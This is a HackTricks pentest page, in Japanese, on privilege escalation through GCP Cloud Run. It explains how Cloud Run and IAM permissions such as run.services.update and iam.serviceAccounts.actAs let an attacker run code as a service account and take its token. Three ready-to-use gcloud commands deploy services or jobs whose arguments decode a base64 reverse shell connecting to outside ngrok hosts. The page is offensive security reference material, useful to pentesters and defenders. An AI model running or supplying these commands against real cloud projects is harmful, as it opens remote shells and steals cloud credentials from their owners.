GCP - Run Privesc

Support HackTricks

Cloud Run

Cloud Runに関する詳細情報は以下を確認してください:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

これらの権限を持つ攻撃者は、任意のコードを実行するランサービスを作成(任意のDockerコンテナ)、それにサービスアカウントを添付し、コードがメタデータからサービスアカウントトークンを抽出することができます。

この方法のためのエクスプロイトスクリプトはこちらにあり、Dockerイメージはこちらにあります。

gcloud run deployを使用する場合、単にサービスを作成するのではなく、update権限が必要であることに注意してください。こちらに例があります

run.services.update , iam.serviceAccounts.actAs

前のものと同様ですが、サービスを更新します:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Cloud Runに対する以前の権限を自分に与えます。

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

コマンドで指定されたサービスアカウントを盗むためにリバースシェルを持つジョブを起動します。 ここにエクスプロイトがあります

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

前のものと同様に、ジョブを更新し、SAを更新することが可能で、コマンド実行することができます:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Cloud Jobsに対する以前の権限を自分に付与します。

References

Support HackTricks

Last updated